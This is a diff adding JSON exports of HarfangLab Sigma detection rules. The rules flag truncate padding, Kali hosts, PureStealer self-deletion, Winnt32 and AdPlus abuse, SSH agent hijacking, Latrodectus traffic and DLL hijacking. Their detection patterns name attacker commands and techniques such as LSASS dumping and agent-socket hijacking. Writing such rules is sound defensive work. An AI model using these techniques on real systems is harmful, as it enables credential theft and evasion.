+    "https://attack.mitre.org/techniques/T1027/001/"
+  ],
+  "name": "t1027_001_truncate_usage_macos.yml",
+  "content": "title: Truncate Usage\nid: 64f5ab15-4127-4a91-b2bc-5109aad8b014\ndescription: |\n    Detects the usage of the truncate utility to perform binary padding or destruction.\n    This could be used by an attacker to add junk data and change the on-disk representation of a malware or destroy data.\n    It is recommended to investigate this action to determine its legitimacy.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1027.001/T1027.001.md\n    - https://attack.mitre.org/techniques/T1027/001/\ndate: 2022/11/21\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1027.001\n    - attack.t1070.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Truncate\n    - classification.macOS.Behavior.Deletion\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/truncate'\n        CommandLine|contains: ' -s'\n\n    exclusion_podman:\n        CommandLine|endswith:\n            - '/truncate -s 0 /Users/*/Library/Logs/Podman Desktop/launchd-stderr.log'\n            - '/truncate -s 0 /Users/*/Library/Logs/Podman Desktop/launchd-stdout.log'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\n#level: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "64f5ab15-4127-4a91-b2bc-5109aad8b014",
+  "rule_name": "Truncate Usage",
+  "rule_description": "Detects the usage of the truncate utility to perform binary padding or destruction.\nThis could be used by an attacker to add junk data and change the on-disk representation of a malware or destroy data.\nIt is recommended to investigate this action to determine its legitimacy.\n",
+  "rule_creation_date": "2022-11-21",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.001",
+    "attack.t1070.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "64f64306-2713-43ab-a8e0-17fe9a81cca9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605083Z",
+  "creation_date": "2026-03-23T11:45:34.605086Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605093Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.kali.org",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_workstation_name_kali.yml",
+  "content": "title: Activity linked to Workstation Named Kali\nid: 64f64306-2713-43ab-a8e0-17fe9a81cca9\ndescription: |\n    Detects an activity from a machine whose name is Kali, a widely used penetration testing Linux distribution.\n    Attackers may connect external machines to the network to conduct malicious activities.\n    It is recommended to check if the machine is expected in the network and for other malicious activity from the machine's IP address.\nreferences:\n    - https://www.kali.org\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2025/06/04\nmodified: 2025/06/04\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Windows.Source.EventLog\n    - classification.Windows.HackTool.Kali\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        - Workstation: 'KALI'\n        - WorkstationName: 'KALI'\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "64f64306-2713-43ab-a8e0-17fe9a81cca9",
+  "rule_name": "Activity linked to Workstation Named Kali",
+  "rule_description": "Detects an activity from a machine whose name is Kali, a widely used penetration testing Linux distribution.\nAttackers may connect external machines to the network to conduct malicious activities.\nIt is recommended to check if the machine is expected in the network and for other malicious activity from the machine's IP address.\n",
+  "rule_creation_date": "2025-06-04",
+  "rule_modified_date": "2025-06-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "65122d48-ae12-409c-ad44-7bc0372b68f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610737Z",
+  "creation_date": "2026-03-23T11:45:34.610741Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610748Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.cyble.com/2022/12/27/pure-coder-offers-multiple-malware-for-sale-in-darkweb-forums/",
+    "https://attack.mitre.org/techniques/T1587/001/",
+    "https://attack.mitre.org/techniques/T1539/",
+    "https://attack.mitre.org/techniques/T1087/",
+    "https://attack.mitre.org/techniques/T1095/"
+  ],
+  "name": "t1587_001_purestealer_usage.yml",
+  "content": "title: Self-Deletion PowerShell Command linked to PureStealer\nid: 65122d48-ae12-409c-ad44-7bc0372b68f3\ndescription: |\n    Detects a suspicious PowerShell command-line associated with the PureStealer malware self-deletion mechanism.\n    PureStealer is a malware designed to steal credentials from victims' devices including banking information, crypto wallets and browser credentials.\n    It is cheaply provided in darkweb forums and has been widely used in spam campaigns across Europe.\n    Look for batch executions and downloaded documents preceding this alert to find the original infection vector.\n    It is recommended to investigate compromised materials and credentials as well as to reset accounts of any compromised users.\nreferences:\n    - https://blog.cyble.com/2022/12/27/pure-coder-offers-multiple-malware-for-sale-in-darkweb-forums/\n    - https://attack.mitre.org/techniques/T1587/001/\n    - https://attack.mitre.org/techniques/T1539/\n    - https://attack.mitre.org/techniques/T1087/\n    - https://attack.mitre.org/techniques/T1095/\ndate: 2023/01/02\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1587.001\n    - attack.t1539\n    - attack.t1087\n    - attack.t1095\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Stealer.PureStealer\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        ProcessGrandparentCommandLine|contains:\n            - 'cmd.exe /c *.bat'\n            - 'cmd.exe /c *.exe'\n        ProcessParentImage|endswith: '\\\\Local\\\\Temp\\\\*.exe'\n        PowershellCommand|contains: 'Start-Sleep -s *; Remove-Item -Path \"*\\\\Local\\\\Temp\\\\*.exe\" -Force'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "65122d48-ae12-409c-ad44-7bc0372b68f3",
+  "rule_name": "Self-Deletion PowerShell Command linked to PureStealer",
+  "rule_description": "Detects a suspicious PowerShell command-line associated with the PureStealer malware self-deletion mechanism.\nPureStealer is a malware designed to steal credentials from victims' devices including banking information, crypto wallets and browser credentials.\nIt is cheaply provided in darkweb forums and has been widely used in spam campaigns across Europe.\nLook for batch executions and downloaded documents preceding this alert to find the original infection vector.\nIt is recommended to investigate compromised materials and credentials as well as to reset accounts of any compromised users.\n",
+  "rule_creation_date": "2023-01-02",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087",
+    "attack.t1095",
+    "attack.t1539",
+    "attack.t1587.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6519f41d-2b23-494d-b1c5-dee52a5166d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080067Z",
+  "creation_date": "2026-03-23T11:45:34.080069Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080074Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winnt32",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_winnt32.yml",
+  "content": "title: Suspicious Winnt32.exe Execution\nid: 6519f41d-2b23-494d-b1c5-dee52a5166d5\ndescription: |\n    Detects a suspicious execution of Winnt32.exe, possibly to proxy the execution of malicious code.\n    This binary, which is digitally signed by Microsoft, can be used to execute commands.\n    Winnt32 is an administrative tool only found on Windows Server 2003, Windows NT, Windows 2000 or XP workstations.\n    Attackers may abuse it to bypass security restrictions.\n    It is recommended to investigate the legitimacy of the process responsible for the execution of Winnt32.exe, investigate its command-line arguments and to analyze child processes.\nreferences:\n    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winnt32\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/04\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - OriginalFileName: 'Winnt32.exe'\n        - Image|endswith: '\\Winnt32.exe'\n\n    selection_commandline:\n        CommandLine|contains: '/cmd'\n\n    condition: selection and selection_commandline\nlevel: medium\n#level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6519f41d-2b23-494d-b1c5-dee52a5166d5",
+  "rule_name": "Suspicious Winnt32.exe Execution",
+  "rule_description": "Detects a suspicious execution of Winnt32.exe, possibly to proxy the execution of malicious code.\nThis binary, which is digitally signed by Microsoft, can be used to execute commands.\nWinnt32 is an administrative tool only found on Windows Server 2003, Windows NT, Windows 2000 or XP workstations.\nAttackers may abuse it to bypass security restrictions.\nIt is recommended to investigate the legitimacy of the process responsible for the execution of Winnt32.exe, investigate its command-line arguments and to analyze child processes.\n",
+  "rule_creation_date": "2022-12-04",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "654df237-1938-4361-b96b-0ddec4e682c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617529Z",
+  "creation_date": "2026-03-23T11:45:34.617530Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617535Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://embracethered.com/blog/posts/2022/ttp-diaries-ssh-agent-hijacking/",
+    "https://attack.mitre.org/techniques/T1563/001/"
+  ],
+  "name": "t1563_001_ssh_session_hijacking_macos.yml",
+  "content": "title: SSH Session Hijacking (macOS)\nid: 654df237-1938-4361-b96b-0ddec4e682c1\ndescription: |\n    Detects the execution of the ssh binary with the SSH_AUTH_SOCKET variable being set to an ssh-agent UNIX socket in the command-line.\n    Attackers may use this to query SSH Agent sockets of other users or services and leverage private keys for which they did not have access.\n    It is recommended to investigate any traces of compromise in the machine where this SSH connection began, and to closely monitor the target machine to determine if the connection is malicious.\nreferences:\n    - https://embracethered.com/blog/posts/2022/ttp-diaries-ssh-agent-hijacking/\n    - https://attack.mitre.org/techniques/T1563/001/\ndate: 2024/03/04\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1563.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Lateralization\n    - classification.macOS.Behavior.Hijacking\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'SSH_AUTH_SOCK=/tmp/ssh-????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-?????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-??????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-???????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-????????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-?????????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-??????????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-???????????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-????????????/agent'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "654df237-1938-4361-b96b-0ddec4e682c1",
+  "rule_name": "SSH Session Hijacking (macOS)",
+  "rule_description": "Detects the execution of the ssh binary with the SSH_AUTH_SOCKET variable being set to an ssh-agent UNIX socket in the command-line.\nAttackers may use this to query SSH Agent sockets of other users or services and leverage private keys for which they did not have access.\nIt is recommended to investigate any traces of compromise in the machine where this SSH connection began, and to closely monitor the target machine to determine if the connection is malicious.\n",
+  "rule_creation_date": "2024-03-04",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1563.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "655d3bee-dba6-4ac6-b36a-87197f63b083",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603678Z",
+  "creation_date": "2026-03-23T11:45:34.603682Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603689Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitsight.com/blog/latrodectus-are-you-coming-back",
+    "https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus",
+    "https://attack.mitre.org/software/S1160/"
+  ],
+  "name": "t1071_001_latrodectus_url_request.yml",
+  "content": "title: URL Request Related to Latrodectus\nid: 655d3bee-dba6-4ac6-b36a-87197f63b083\ndescription: |\n    Detects URL requests with a specific User-Agent associated with the Latrodectus malware.\n    Latrodectus is a sophisticated malware loader serving as a successor to IcedID with capabilities including payload delivery, reconnaissance, and evasion techniques.\n    Is is recommended to investigate the request performed by the process to determine its legitimacy as well as the context around this alert to look for malicious actions.\nreferences:\n    - https://www.bitsight.com/blog/latrodectus-are-you-coming-back\n    - https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus\n    - https://attack.mitre.org/software/S1160/\ndate: 2025/08/13\nmodified: 2025/09/18\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.001\n    - attack.t1132.001\n    - attack.t1573.001\n    - attack.exfiltration\n    - attack.t1041\n    - attack.s1160\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Trojan.Latrodectus\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        UserAgent: 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "655d3bee-dba6-4ac6-b36a-87197f63b083",
+  "rule_name": "URL Request Related to Latrodectus",
+  "rule_description": "Detects URL requests with a specific User-Agent associated with the Latrodectus malware.\nLatrodectus is a sophisticated malware loader serving as a successor to IcedID with capabilities including payload delivery, reconnaissance, and evasion techniques.\nIs is recommended to investigate the request performed by the process to determine its legitimacy as well as the context around this alert to look for malicious actions.\n",
+  "rule_creation_date": "2025-08-13",
+  "rule_modified_date": "2025-09-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1041",
+    "attack.t1071.001",
+    "attack.t1132.001",
+    "attack.t1573.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6575df79-0fcb-4da3-b753-94ba6fb5b878",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087778Z",
+  "creation_date": "2026-03-23T11:45:34.087780Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087784Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_upgraderesultsui.yml",
+  "content": "title: DLL Hijacking via upgraderesultsui.exe\nid: 6575df79-0fcb-4da3-b753-94ba6fb5b878\ndescription: |\n    Detects potential Windows DLL Hijacking via upgraderesultsui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'upgraderesultsui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\DMCmnUtils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6575df79-0fcb-4da3-b753-94ba6fb5b878",
+  "rule_name": "DLL Hijacking via upgraderesultsui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via upgraderesultsui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "657e2e2c-ab6b-474c-a1c3-0c845ab605c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086017Z",
+  "creation_date": "2026-03-23T11:45:34.086019Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086023Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1127/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1127_adplus_execution_for_proxy_or_dump.yml",
+  "content": "title: Suspicious AdPlus Execution\nid: 657e2e2c-ab6b-474c-a1c3-0c845ab605c0\ndescription: |\n    Detects the suspicious execution of the Adplus.exe development binary.\n    Adplus.exe is a legitimate binary used as a developer tool and can be abused by attackers in order to proxy the execution of malicious payloads or dump the memory of processes (such as LSASS').\n    It is recommended to analyze the process responsible for the execution of Adplus.exe to determine if it is being used in a legitimate software development context.\nreferences:\n    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1127/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2022/06/10\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1127\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Adplus\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'adplus.exe'\n\n    selection_config:\n        CommandLine|contains:\n            - ' -c '\n            - ' /c '\n\n    selection_mode:\n        CommandLine:\n            - '* -hang *'\n            - '* /hang *'\n            - '* -crash *'\n            - '* /crash *'\n        CommandLine|contains:\n            - ' -sc '\n            - ' /sc '\n            - ' -p '\n            - ' /p '\n            - ' -pn '\n            - ' /pn '\n            - ' -po '\n            - ' /po '\n            - ' -pmn '\n            - ' /pmn '\n    condition: selection and 1 of selection_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "657e2e2c-ab6b-474c-a1c3-0c845ab605c0",
+  "rule_name": "Suspicious AdPlus Execution",
+  "rule_description": "Detects the suspicious execution of the Adplus.exe development binary.\nAdplus.exe is a legitimate binary used as a developer tool and can be abused by attackers in order to proxy the execution of malicious payloads or dump the memory of processes (such as LSASS').\nIt is recommended to analyze the process responsible for the execution of Adplus.exe to determine if it is being used in a legitimate software development context.\n",
+  "rule_creation_date": "2022-06-10",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1127",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "65a8b26d-fbd9-480c-8dec-bba6a1cdff90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
